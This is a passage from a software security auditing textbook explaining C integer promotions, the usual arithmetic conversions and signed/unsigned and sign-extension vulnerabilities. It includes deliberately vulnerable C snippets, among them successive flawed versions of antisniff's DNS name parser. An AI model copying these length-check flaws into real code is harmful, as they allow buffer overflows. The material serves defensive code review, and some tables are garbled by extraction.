Value changing Truncation Implementat ion defined Value changing Truncati on Value changing Truncation Implementat ion defined Value changing Truncati on Compatible types Value changing Bit pattern same unsign ed int Value changing Truncation Implementat ion defined Value changing Truncati on Value changing Truncation Implementat ion defined Value changing Truncati on Value changing Bit pattern same Implementat Compati ble types The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 245 Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) signed char unsigne d char short int Unsigne d short int int unsigne d int ion defined Floating Point and Complex Types Although vulnerabilities caused by the use of floating point arithmetic haven't been widely published, they are certainly possible. There's certainly the possibility of subtle errors surfacing in financial software related to floating point type conversions or representation issues. The discussion of floating point types in this chapter is fairly brief. For more information, refer to the C standards documents and the previously mentioned C programming references. The C standard's rules for conversions between real floating types and integer types leave a lot of room for implementation-defined behaviors. In a conversion from a real type to an integer type, the fractional portion of the number is discarded. If the integer type can't represent the integer portion of the floating point number, the result is undefined. Similarly, a conversion from an integer type to a real type transfers the value over if possible. If the real type can't represent the integer's value but can come close, the compiler rounds the integer to the next highest or lowest number in an implementation-defined manner. If the integer is outside the range of the real type, the result is undefined. Conversions between floating point types of different precision are handled with similar logic. Promotion causes no change in value. During a demotion that causes a change in value, the compiler is free to round numbers, if possible, in an implementation-defined manner. If rounding isn't possible because of the range of the target type, the result is undefined. Other Types There are myriad other types in C beyond integers and floats, including pointers, Booleans, structures, unions, functions, arrays, enums, and more. For the most part, conversion among these types isn't quite as critical from a security perspective, so they aren't extensively covered in this chapter. Pointer arithmetic is covered in "Pointer Arithmetic(? [????.])" later in this chapter. Pointer type conversion depends largely on the underlying machine architecture, and many conversions are specified as implementation defined. Essentially, programmers are free to convert pointers into integers and back, and convert pointers from one The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 246 type to another. The results are implementation defined, and programmers need to be cognizant of alignment restrictions and other low-level details. Simple Conversions Now that you have a good idea how C converts from one integer type to another, you can look at some situations where these type conversions occur. Simple conversions are C expressions that use straightforward applications of conversion rules. Casts As you know, typecasts are C's mechanism for letting programmers specify an explicit type conversion, as shown in this example: (unsigned char) bob Whatever type bob happens to be, this expression converts it into an unsigned char type. The resulting type of the expression is unsigned char. Assignments Simple type conversion also occurs in the assignment operator. The compiler must convert the type of the right operand into the type of the left operand, as shown in this example: short int fred; int bob = -10; fred = bob; For both assignments, the compiler must take the object in the right operand and convert it into the type of the left operand. The conversion rules tell you that conversion from the int bob to the short int fred results in truncation. Function Calls: Prototypes C has two styles of function declarations: the old K&R style, in which parameter types aren't specified in the function declaration, and the new ANSI style, in which the parameter types are part of the declaration. In the ANSI style, the use of function prototypes is still optional, but it's common. With the ANSI style, you typically see something like this: int dostuff(int jim, unsigned char bob); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 247 void func(void) { char a=42; unsigned short b=43; long long int c; c=dostuff(a, b); } The function declaration for dostuff() contains a prototype that tells the compiler the number of arguments and their types. The rule of thumb is that if the function has a prototype, the types are converted in a straightforward fashion using the rules documented previously. If the function doesn't have a prototype, something called the default argument promotions kicks in (explained in "Integer Promotions"). The previous example has a character (a) being converted into an int (jim), an unsigned short (b) being converted into an unsigned char (bob), and an int (the dostuff() function's return value) being converted into a long long int (c). Function Calls: return return does a conversion of its operand to the type specified in the enclosing function's definition. For example, the int a is converted into a char data type by return: char func(void) { int a=42; return a; } Integer Promotions Integer promotions specify how C takes a narrow integer data type, such as a char or short, and converts it to an int (or, in rare cases, to an unsigned int). This up-conversion, or promotion, is used for two different purposes:  Certain operators in C require an integer operand of type int or unsigned int. For these operators, C uses the integer promotion rules to transform a narrower integer operand into the correct typeint or unsigned int.  Integer promotions are a critical component of C's rules for handling arithmetic expressions, which are called the usual arithmetic conversions. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 248 For arithmetic expressions involving integers, integer promotions are usually applied to both operands. Note You might see the terms "integer promotions" and "integral promotions" used interchangeably in other literature, as they are synonymous. There's a useful concept from the C standards: Each integer data type is assigned what's known as an integer conversion rank. These ranks order the integer data types by their width from lowest to highest. The signed and unsigned varieties of each type are assigned the same rank. The following abridged list sorts integer types by conversion rank from high to low. The C standard assigns ranks to other integer types, but this list should suffice for this discussion: long long int, unsigned long long int long int, unsigned long int unsigned int, int unsigned short, short char, unsigned char, signed char _Bool Basically, any place in C where you can use an int or unsigned int, you can also use any integer type with a lower integer conversion rank. This means you can use smaller types, such as chars and short ints, in the place of ints in C expressions. You can also use a bit field of type _Bool, int, signed int, or unsigned int. The bit fields aren't ascribed integer conversion ranks, but they are treated as narrower than their corresponding base type. This makes sense because a bit field of an int is usually smaller than an int, and at its widest, it's the same width as an int. If you apply the integer promotions to a variable, what happens? First, if the variable isn't an integer type or a bit field, the promotions do nothing. Second, if the variable is an integer type, but its integer conversion rank is greater than or equal to that of an int, the promotions do nothing. Therefore, ints, unsigned ints, long ints, pointers, and floats don't get altered by the integer promotions. So, the integer promotions are responsible for taking a narrower integer type or bit field and promoting it to an int or unsigned int. This is done in a straightforward The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 249 fashion: If a value-preserving transformation to an int can be performed, it's done. Otherwise, a value-preserving conversion to an unsigned int is performed. In practice, this means almost everything is converted to an int, as an int can hold the minimum and maximum values of all the smaller types. The only types that might be promoted to an unsigned int are unsigned int bit fields with 32 bits or perhaps some implementation-specific extended integer types. Historical Note The C89 standard made an important change to the C type conversion rules. In the K&R days of the C language, integer promotions were unsigned-preserving rather than value-preserving. So with the current C rules, if a narrower, unsigned integer type, such as an unsigned char, is promoted to a wider, signed integer, such as an int, value conversion dictates that the new type is a signed integer. With the old rules, the promotion would preserve the unsigned-ness, so the resulting type would be an unsigned int. This changed the behavior of many signed/unsigned comparisons that involved promotions of types narrower than int. Integer Promotions Summary The basic rule of thumb is this: If an integer type is narrower than an int, integer promotions almost always convert it to an int. Table 6-5 summarizes the result of integer promotions on a few common types. Table 6-5. Results of Integer Promotions Source Type Result Type Rationale unsigned char int Promote; source rank less than int rank char int Promote; source rank less than int rank short int Promote; source rank less than int rank unsigned short int Promote; source rank less than int rank unsigned int: 24 int Promote; bit field of unsigned int unsigned int: 32 unsigned int Promote; bit field of unsigned int int int Don't promote; source rank equal to int rank unsigned int unsigned int Don't promote; source rank equal to int rank long int long int Don't promote; source rank greater than int rank float float Don't promote; source not of integer type The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 250 Table 6-5. Results of Integer Promotions Source Type Result Type Rationale char * char * Don't promote; source not of integer type Integer Promotion Applications Now that you understand integer promotions, the following sections examine where they are used in the C language. Unary + Operator The unary + operator performs integer promotions on its operand. For example, if the bob variable is of type char, the resulting type of the expression (+bob) is int, whereas the resulting type of the expression (bob) is char. Unary - Operator The unary - operator does integer promotion on its operand and then does a negation. Regardless of whether the operand is signed after the promotion, a twos complement negation is performed, which involves inverting the bits and adding 1. The Leblancian Paradox David Leblanc is an accomplished researcher and author, and one of the world's foremost experts on integer issues in C and C++. He documented a fascinating nuance of twos complement arithmetic that he discovered while working on the SafeInt class with his colleague Atin Bansal (http://msdn.microsoft.com/library/en-us/dncode/html/secure01142004.asp). To negate a twos complement number, you flip all the bits and add 1 to the result. Assuming a 32-bit signed data type, what's the inverse of 0x80000000? If you flip all the bits, you get 0x7fffffff. If you add 1, you get 0x80000000. So the unary negation of this corner-case number is itself! This idiosyncrasy can come into play when developers use negative integers to represent a special sentinel set of numbers or attempt to take the absolute value of an integer. In the following code, the intent is for a negative index to specify a secondary hash table. This works fine unless attackers can specify an index of 0x80000000. The negation of the number results in no change in the value, and 0x80000000 % 1000 is -648, which causes memory before the array The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 251 to be modified. int bank1[1000], bank2[1000]; ... void hashbank(int index, int value) { int *bank = bank1; if (index<0) { bank = bank2; index = -index; } bank[index % 1000] = value; } Unary ~ Operator The unary ~ operator does a ones complement of its operand after doing an integer promotion of its operand. This effectively performs the same operation on both signed and unsigned operands for twos complement implementations: It inverts the bits. Bitwise Shift Operators The bitwise shift operators >> and << shift the bit patterns of variables. The integer promotions are applied to both arguments of these operators, and the type of the result is the same as the promoted type of the left operand, as shown in this example: char a = 1; char c = 16; int bob; bob = a << c; a is converted to an integer, and c is converted to an integer. The promoted type of the left operand is int, so the type of the result is an int. The integer representation of a is left-shifted 16 times. Switch Statements Integer promotions are used in switch statements. The general form of a switch statement is something like this: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 252 switch (controlling expression) { case (constant integer expression): body; break; default: body; break; } The integer promotions are used in the following way: First, they are applied to the controlling expression, so that expression has a promoted type. Then, all the integer constants are converted to the type of the promoted control expression. Function Invocations Older C programs using the K&R semantics don't specify the data types of arguments in their function declarations. When a function is called without a prototype, the compiler has to do something called default argument promotions. Basically, integer promotions are applied to each function argument, and any arguments of the float type are converted to arguments of the double type. Consider the following example: int jim(bob) char bob; { printf("bob=%d\n", bob); } int main(int argc, char **argv) { char a=5; jim(a); } In this example, a copy of the value of a is passed to the jim() function. The char type is first run through the integer promotions and transformed into an integer. This integer is what's passed to the jim() function. The code the compiler emits for the jim() function is expecting an integer argument, and it performs a direct conversion of that integer back into a char format for the bob variable. Usual Arithmetic Conversions In many situations, C is expected to take two operands of potentially divergent types and perform some arithmetic operation that involves both of them. The C standards The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 253 spell out a general algorithm for reconciling two types into a compatible type for this purpose. This procedure is known as the usual arithmetic conversions. The goal of these conversions is to transform both operands into a common real type, which is used for the actual operation and then as the type of the result. These conversions apply only to the arithmetic typesinteger and floating point types. The following sections tackle the conversion rules. Rule 1: Floating Points Take Precedence Floating point types take precedence over integer types, so if one of the arguments in an arithmetic expression is a floating point type, the other argument is converted to a floating point type. If one floating point argument is less precise than the other, the less precise argument is promoted to the type of the more precise argument. Rule 2: Apply Integer Promotions If you have two operands and neither is a float, you get into the rules for reconciling integers. First, integer promotions are performed on both operands. This is an extremely important piece of the puzzle! If you recall from the previous section, this means any integer type smaller than an int is converted into an int, and anything that's the same width as an int, larger than an int, or not an integer type is left alone. Here's a brief example: unsigned char jim = 255; unsigned char bob = 255; if ((jim + bob) > 300) do_something(); In this expression, the + operator causes the usual arithmetic conversions to be applied to its operands. This means both jim and bob are promoted to ints, the addition takes place, and the resulting type of the expression is an int that holds the result of the addition (510). Therefore, do_something() is called, even though it looks like the addition could cause a numeric overflow. To summarize: Whenever there's arithmetic involving types narrower than an integer, the narrow types are promoted to integers behind the scenes. Here's another brief example: unsigned short a=1; if ((a-5) < 0) do_something(); Intuition would suggest that if you have an unsigned short with the value 1, and it's subtracted by 5, it underflows around 0 and ends up containing a large value. However, if you test this fragment, you see that do_something() is called because both operands of the subtraction operator are converted to ints before the comparison. So The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 254 a is converted from an unsigned short to an int, and then an int with a value of 5 is subtracted from it. The resulting value is -4, which is a valid integer value, so the comparison is true. Note that if you did the following, do_something() wouldn't be called: unsigned short a=1; a=a-5; if (a < 0) do_something(); The integer promotion still occurs with the (a-5), but the resulting integer value of -4 is placed back into the unsigned short a. As you know, this causes a simple conversion from signed int to unsigned short, which causes truncation to occur, and a ends up with a large positive value. Therefore, the comparison doesn't succeed. Rule 3: Same Type After Integer Promotions If the two operands are of the same type after integer promotions are applied, you don't need any further conversions because the arithmetic should be straightforward to carry out at the machine level. This can happen if both operands have been promoted to an int by integer promotions, or if they just happen to be of the same type and weren't affected by integer promotions. Rule 4: Same Sign, Different Types If the two operands have different types after integer promotions are applied, but they share the same signed-ness, the narrower type is converted to the type of the wider type. In other words, if both operands are signed or both operands are unsigned, the type with the lesser integer conversion rank is converted to the type of the operand with the higher conversion rank. Note that this rule has nothing to do with short integers or characters because they have already been converted to integers by integer promotions. This rule is more applicable to arithmetic involving types of larger sizes, such as long long int or long int. Here's a brief example: int jim =5; long int bob = 6; long long int fred; fred = (jim + bob) Integer promotions don't change any types because they are of equal or higher width than the int type. So this rule mandates that the int jim be converted into a long int The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 255 before the addition occurs. The resulting type, a long int, is converted into a long long int by the assignment to fred. In the next section, you consider operands of different types, in which one is signed and the other is unsigned, which gets interesting from a security perspective. Rule 5: Unsigned Type Wider Than or Same Width as Signed Type The first rule for this situation is that if the unsigned operand is of greater integer conversion rank than the signed operand, or their ranks are equal, you convert the signed operand to the type of the unsigned operand. This behavior can be surprising, as it leads to situations like this: int jim = -5; if (jim < sizeof (int)) do_something(); The comparison operator < causes the usual arithmetic conversions to be applied to both operands. Integer promotions are applied to jim and to sizeof(int), but they don't affect them. Then you continue into the usual arithmetic conversions and attempt to figure out which type should be the common type for the comparison. In this case, jim is a signed integer, and sizeof (int) is a size_t, which is an unsigned integer type. Because size_t has a greater integer conversion rank, the unsigned type takes precedence by this rule. Therefore, jim is converted to an unsigned integer type, the comparison fails, and do_something() isn't called. On a 32-bit system, the actual comparison is as follows: if (4294967291 < 4) do_something(); Rule 6: Signed Type Wider Than Unsigned Type, Value Preservation Possible If the signed operand is of greater integer conversion rank than the unsigned operand, and a value-preserving conversion can be made from the unsigned integer type to the signed integer type, you choose to transform everything to the signed integer type, as in this example: long long int a=10; unsigned int b= 5; (a+b); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 256 The signed argument, a long long int, can represent all the values of the unsigned argument, an unsigned int, so the compiler would convert both operands to the signed operand's type: long long int. Rule 7: Signed Type Wider Than Unsigned Type, Value Preservation Impossible There's one more rule: If the signed integer type has a greater integer conversion rank than the unsigned integer type, but all values of the unsigned integer type can't be held in the signed integer type, you have to do something a little strange. You take the type of the signed integer type, convert it to its corresponding unsigned integer type, and then convert both operands to use that type. Here's an example: unsigned int a = 10; long int b=20; (a+b); For the purpose of this example, assume that on this machine, the long int size has the same width as the int size. The addition operator causes the usual arithmetic conversions to be applied. Integer promotions are applied, but they don't change the types. The signed type (long int) is of higher rank than the unsigned type (unsigned int). The signed type (long int) can't hold all the values of the unsigned type (unsigned int), so you're left with the last rule. You take the type of the signed operand, which is a long int, convert it into its corresponding unsigned equivalent, unsigned long int, and then convert both operands to unsigned long int. The addition expression, therefore, has a resulting type of unsigned long int and a value of 30. Summary of Arithmetic Conversions The following is a summary of the usual arithmetic conversions. Table 6-6 demonstrates some sample applications of the usual arithmetic conversions.  If either operand is a floating point number, convert all operands to the floating point type of the highest precision operand. You're finished.  Perform integer promotions on both operands. If the two operands are now of the same type, you're finished.  If the two operands share the same signed-ness, convert the operand with the lower integer conversion rank to the type of the operand of the higher integer conversion rank. You're finished.  If the unsigned operand is of higher or equal integer conversion rank than the signed operand, convert the signed operand to the type of the unsigned operand. You're finished.  If the signed operand is of higher integer conversion rank than the unsigned operand, and you can perform a value-preserving conversion, convert the unsigned operand to the signed operand's type. You're finished. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 257  If the signed operand is of higher integer conversion rank than the unsigned operand, but you can't perform a value-preserving conversion, convert both operands to the unsigned type that corresponds to the type of the signed operand. Table 6-6. Usual Arithmetic Conversion Examples Left Operand Type Right Operand Type Result Common Type int float 1. Left operand converted to float float double char 1. Right operand converted to double double unsigned int int 1. Right operand converted to unsigned int unsigned int unsigned short int 1. Left operand converted to int int unsigned char unsigned short 1. Left operand converted to int 2. Right operand converted to int int unsigned int: 32 short 1. Left operand converted to unsigned int 2. Right operand converted to int 3. Right operand converted to unsigned int unsigned int unsigned int long int 1. Left operand converted to unsigned long int 2. Right operand converted to unsigned long int unsigned long int unsigned int long long int 1. Left operand converted to long long int The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 258 Table 6-6. Usual Arithmetic Conversion Examples Left Operand Type Right Operand Type Result Common Type long long int unsigned int unsigned long long int 1. Left operand converted to unsigned long long int unsigned long long int Usual Arithmetic Conversion Applications Now that you have a grasp of the usual arithmetic conversions, you can look at where these conversions are used. Addition Addition can occur between two arithmetic types as well as between a pointer type and an arithmetic type. Pointer arithmetic is explained in "Pointer Arithmetic(? [????.])," but for now, you just need to note that when both arguments are an arithmetic type, the compiler applies the usual arithmetic conversions to them. Subtraction There are three types of subtraction: subtraction between two arithmetic types, subtraction between a pointer and an arithmetic type, and subtraction between two pointer types. In subtraction between two arithmetic types, C applies the usual arithmetic conversions to both operands. Multiplicative Operators The operands to * and / must be an arithmetic type, and the arguments to % must be an integer type. The usual arithmetic conversions are applied to both operands of these operators. Relational and Equality Operators When two arithmetic operands are compared, the usual arithmetic conversions are applied to both operands. The resulting type is an int, and its value is 1 or 0, depending on the result of the test. Binary Bitwise Operators The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 259 The binary bitwise operators &, ^, and | require integer operands. The usual arithmetic conversions are applied to both operands. Question Mark Operator From a type conversion perspective, the conditional operator is one of C's more interesting operators. Here's a short example of how it's commonly used: int a=1; unsigned int b=2; int choice=-1; ... result = choice ? a : b ; In this example, the first operand, choice, is evaluated as a scalar. If it's set, the result of the expression is the evaluation of the second operand, which is a. If it's not set, the result is the evaluation of the third operand, b. The compiler has to know at compile time the result type of the conditional expression, which could be tricky in this situation. What C does is determine which type would be the result of running the usual arithmetic conversions against the second and third arguments, and it makes that type the resulting type of the expression. So in the previous example, the expression results in an unsigned int, regardless of the value of choice. Type Conversion Summary Table 6-7 shows the details of some common type conversions. Table 6-7. Default Type Promotion Summary Operation Operand Types Conversions Resulting Type Typecast (type)expression Expression is converted to type using simple conversions Type Assignment = Right operand converted to left operand type using simple conversions Type of left operand Function call with prototype Arguments converted using simple Return type of function The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 260 Table 6-7. Default Type Promotion Summary Operation Operand Types Conversions Resulting Type conversions according to prototype Function call without prototype Arguments promoted via default argument promotions, which are essentially integer promotions int Return Unary +, - +a -a ~a Operand must be arithmetic type Operand undergoes integer promotions Promoted type of operand Unary ~ ~a Operand must be integer type Operand undergoes integer promotions Promoted type of operand Bitwise << and >> Operands must be integer type Operands undergo integer promotions Promoted type of left operand switch statement Expression must have integer type Expression undergoes integer promotion; cases are converted to that type Binary +, - Operands must be arithmetic type *Pointer arithmetic covered in "Pointer Arithmetic(? [????.])" Operands undergo usual arithmetic conversions Common type from usual arithmetic conversions Binary * and / Operands must be arithmetic type Operands undergo usual arithmetic conversions Common type from usual arithmetic conversions Binary % Operands must be integer type Operands undergo usual arithmetic conversions Common type from usual arithmetic conversions Binary subscript [] Interpreted as The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 261 Table 6-7. Default Type Promotion Summary Operation Operand Types Conversions Resulting Type a[b] *((a)+(b)) Unary ! Operand must be arithmetic type or pointer int, value 0 or 1 sizeof size_t (unsigned integer type) Binary < > <= => == != Operands must be arithmetic type *Pointer arithmetic covered in "Pointer Arithmetic(? [????.])" Operands undergo usual arithmetic conversions int, value 0 or 1 Binary & ^ | Operands must be integer type Operands undergo usual arithmetic conversions Common type from usual arithmetic conversions Binary && || Operands must be arithmetic type or pointer int, value 0 or 1 Conditional ? 2nd and 3rd operands must be arithmetic type or pointer Second and third operands undergo usual arithmetic conversions Common type from usual arithmetic conversions , Type of right operand Auditing Tip: Type Conversions Even those who have studied conversions extensively might still be surprised at the way a compiler renders certain expressions into assembly. When you see code that strikes you as suspicious or potentially ambiguous, never hesitate to write a simple test program or study the generated assembly to verify your intuition. If you do generate assembly to verify or explore the conversions discussed in this chapter, be aware that C compilers can optimize out certain conversions or use architectural tricks that might make the assembly appear incorrect or inconsistent. At The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 262 a conceptual level, compilers are behaving as the C standard describes, and they ultimately generate code that follows the rules. However, the assembly might look inconsistent because of optimizations or even incorrect, as it might manipulate portions of registers that should be unused. 7.2.6 Type Conversion Vulnerabilities Now that you have a solid grasp of C's type conversions, you can explore some of the exceptional circumstances they can create. Implicit type conversions can catch programmers off-guard in several situations. This section focuses on simple conversions between signed and unsigned types, sign extension, truncation, and the usual arithmetic conversions, focusing on comparisons. Signed/Unsigned Conversions Most security issues related to type conversions are the result of simple conversions between signed and unsigned integers. This discussion is limited to conversions that occur as a result of assignment, function calls, or typecasts. For a quick recap of the simple conversion rules, when a signed variable is converted to an unsigned variable of the same size, the bit pattern is left alone, and the value changes correspondingly. The same thing occurs when an unsigned variable is converted to a signed variable. Technically, the unsigned-to-signed conversion is implementation defined, but in twos complement implementations, usually the bit pattern is left alone. The most important situation in which this conversion becomes relevant is during function calls, as shown in this example: int copy(char *dst, char *src, unsigned int len) { while (len--) *dst++ = *src++; } The third argument is an unsigned int that represents the length of the memory section to copy. If you call this function and pass a signed int as the third argument, it's converted to an unsigned integer. For example, say you do this: int f = -1; copy(mydst, mysrc, f); The copy() function sees an extremely large positive len and most likely copies until it causes a segmentation fault. Most libc routines that take a size parameter have an The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 263 argument of type size_t, which is an unsigned integer type that's the same width as pointer. This is why you must be careful never to let a negative length field make its way to a libc routine, such as snprintf(), strncpy(), memcpy(), read(), or strncat(). This situation occurs fairly often, particularly when signed integers are used for length values and the programmer doesn't consider the potential for a value less than 0. In this case, all values less than 0 have their value changed to a high positive number when they are converted to an unsigned type. Malicious users can often specify negative integers through various program interfaces and undermine an application's logic. This type of bug happens commonly when a maximum length check is performed on a user-supplied integer, but no check is made to see whether the integer is negative, as in Listing 6-7. Listing 6-7. Signed Comparison Vulnerability Example int read_user_data(int sockfd) { int length, sockfd, n; char buffer[1024]; length = get_user_length(sockfd); if(length > 1024){ error("illegal input, not enough room in buffer\n"); return 1; } if(read(sockfd, buffer, length) < 0){ error("read: %m"); return 1; } return 0; } In Listing 6-7, assume that the get_user_length() function reads a 32-bit integer from the network. If the length the user supplies is negative, the length check can be evaded, and the application can be compromised. A negative length is converted to a size_t type for the call to read(), which as you know, turns into a large unsigned value. A code reviewer should always consider the implications of negative values in signed types and see whether unexpected results can be produced that could lead to security exposures. In this case, a buffer overflow can be triggered because of the erroneous length check; consequently, the oversight is quite serious. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 264 Auditing Tip: Signed/Unsigned Conversions You want to look for situations in which a function takes a size_t or unsigned int length parameter, and the programmer passes in a signed integer that can be influenced by users. Good functions to look for include read(), recvfrom(), memcpy(), memset(), bcopy(), snprintf(), strncat(), strncpy(), and malloc(). If users can coerce the program into passing in a negative value, the function interprets it as a large value, which could lead to an exploitable condition. Also, look for places where length parameters are read from the network directly or are specified by users via some input mechanism. If the length is interpreted as a signed variable in parts of the code, you should evaluate the impact of a user supplying a negative value. As you review functions in an application, it's a good idea to note the data types of each function's arguments in your function audit log. This way, every time you audit a subsequent call to that function, you can simply compare the types and examine the type conversion tables in this chapter's "Type Conversions(? [????.])" section to predict exactly what's going to happen and the implications of that conversion. You learn more about analyzing functions and keeping logs of function prototypes and behavior in Chapter 7(? [????.]), "Program Building Blocks." Sign Extension Sign extension occurs when a smaller signed integer type is converted to a larger type, and the machine propagates the sign bit of the smaller type through the unused bits of the larger type. The intent of sign extension is that the conversion is value-preserving when going from a smaller signed type to a larger signed type. As you know, sign extension can occur in several ways. First, if a simple conversion is made from a small signed type to a larger type, with a typecast, assignment, or function call, sign extension occurs. You also know that sign extension occurs if a signed type smaller than an integer is promoted via the integer promotions. Sign extension could also occur as a result of the usual arithmetic conversions applied after integer promotions because a signed integer type could be promoted to a larger type, such as long long. Sign extension is a natural part of the language, and it's necessary for value-preserving promotions of integers. So why is it mentioned as a security issue? There are two reasons:  In certain cases, sign extension is a value-changing conversion that has an unexpected result. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 265  Programmers consistently forget that the char and short types they use are signed! To examine the first reason, if you recall from the conversion section, one of the more interesting findings was that sign extension is performed if a smaller signed type is converted into a larger unsigned type. Say a programmer does something like this: char len; len=get_len_field(); snprintf(dst, len, "%s", src); This code has disaster written all over it. If the result of get_len_field() is such that len has a value less than 0, that negative value is passed as the length argument to snprintf(). Say the programmer tries to fix this error and does the following: char len; len=get_len_field(); snprintf(dst, (unsigned int)len, "%s", src); This solution sort of makes sense. An unsigned integer can't be negative, right? Unfortunately, sign extension occurs during the conversion from char to unsigned int, so the attempt to get rid of characters less than 0 backfired. If len happens to be below 0, (unsigned int)len ends up with a large value. This example might seem somewhat arbitrary, but it's similar to an actual bug the authors recently discovered in a client's code. The moral of the story is that you should always remember sign extension is applied when converting from a smaller signed type to a larger unsigned type. Now for the second reasonprogrammers consistently forget that the char and short types they use are signed. This statement rings quite true, especially in network code that deals with signed integer lengths or code that processes binary or text data one character at a time. Take a look at a real-world vulnerability in the DNS packet-parsing code of l0pht's antisniff tool (http://packetstormsecurity.org/sniffers/antisniff/). It's an excellent bug for demonstrating some vulnerabilities that have been discussed. A buffer overflow was first discovered in the software involving the improper use of strncat(), and after that vulnerability was patched, researchers from TESO discovered that it was still vulnerable because of a sign-extension issue. The fix for the sign-extension issue wasn't correct, and yet another vulnerability was published. The following examples take you through the timeline of this vulnerability. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 266 Listing 6-8 contains the slightly edited vulnerable code from version 1 of the antisniff research release, in the raw_watchdns.c file in the watch_dns_ptr() function. Listing 6-8. Antisniff v1.0 Vulnerability char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '\0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); } nameStr[strlen(nameStr)-1] = '\0'; Before you can understand this code, you need a bit of background. The purpose of the watch_dns_ptr() function is to extract the domain name from the packet and copy it into the nameStr string. The DNS domain names in DNS packets sort of resemble Pascal strings. Each label in the domain name is prefixed by a byte containing its length. The domain name ends when you reach a label of size 0. (The DNS compression scheme isn't relevant to this vulnerability.) Figure 6-8 shows what a DNS domain name looks like in a packet. There are three labelstest, jim, and comand a 0-length label specifying the end of the name. Figure 6-8. Sample DNS domain name The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 267 The code starts by reading the first length byte from the packet and storing it in the integer count. This length byte is a signed character stored in an integer, so you should be able to put any value you like between -128 and 127 in count. Keep this in mind for later. The while() loop keeps reading in labels and calling strncat() on them to the nameStr string. The first vulnerability that was published is no length check in this loop. If you just provide a long enough domain name in the packet, it could write past the bounds of nameStr[]. Listing 6-9 shows how this issue was fixed in version 1.1 of the research version. Listing 6-9. Antisniff v1.1 Vulnerability char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '\0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); } else { fprintf(stderr, "Alert! Someone is attempting " "to send LONG DNS packets\n"); count = 0; } } nameStr[strlen(nameStr)-1] = '\0'; The code is basically the same, but length checks have been added to try to prevent the buffer from being overflowed. At the top of the loop, the program checks to make sure there's enough space in the buffer for count bytes before it does the string concatenation. Now examine this code with sign-extension vulnerabilities in mind. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 268 You know that count can be any value between -128 and 127, so what happens if you give a negative value for count? Look at the length check: if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ You know that strlen(nameStr) is going to return a size_t, which is effectively an unsigned int on a 32-bit system, and you know that count is an integer below 0. Say you've been through the loop once, and strlen(nameStr) is 5, and count is -1. For the addition, count is converted to an unsigned integer, and you have (5 + 4,294,967,295). This addition can easily cause a numeric overflow so that you end up with a small value, such as 4; 4 is less than (MAX_LEN - 1), which is 256. So far, so good. Next, you see that count (which you set to -1), is passed in as the length argument to strncat(). The strncat() function takes a size_t, so it interprets that as 4,294,967,295. Therefore, you win again because you can essentially append as much information as you want to the nameStr string. Listing 6-10 shows how this vulnerability was fixed in version 1.1.1 of the research release. Listing 6-10. Antisniff v1.1.1 Vulnerability char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '\0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ /* typecast the strlen so we aren't dependent on the call to be properly setting to unsigned. */ if ((unsigned int)strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); } else { fprintf(stderr, "Alert! Someone is attempting " "to send LONG DNS packets\n"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 269 count = 0; } } nameStr[strlen(nameStr)-1] = '\0'; This solution is basically the same code, except some typecasts have been added to the length check. Take a closer look: if ((unsigned int)strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){ The result of strlen() is typecast to an unsigned int, which is superfluous because it's already a size_t. Then count is typecast to an unsigned int. This is also superfluous, as it's normally converted to an unsigned integer type by the addition operator. In essence, nothing has changed. You can still send a negative label length and bypass the length check! Listing 6-11 shows how this problem was fixed in version 1.1.2. Listing 6-11. Antisniff v1.1.2 Vulnerability unsigned char *indx; unsigned int count; unsigned char nameStr[MAX_LEN]; //256 ... memset(nameStr, '\0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ indx++; strncat(nameStr, indx, count); indx += count; count = *indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); } else { fprintf(stderr, "Alert! Someone is attempting " "to send LONG DNS packets\n"); count = 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 270 } nameStr[strlen(nameStr)-1] = '\0'; The developers have 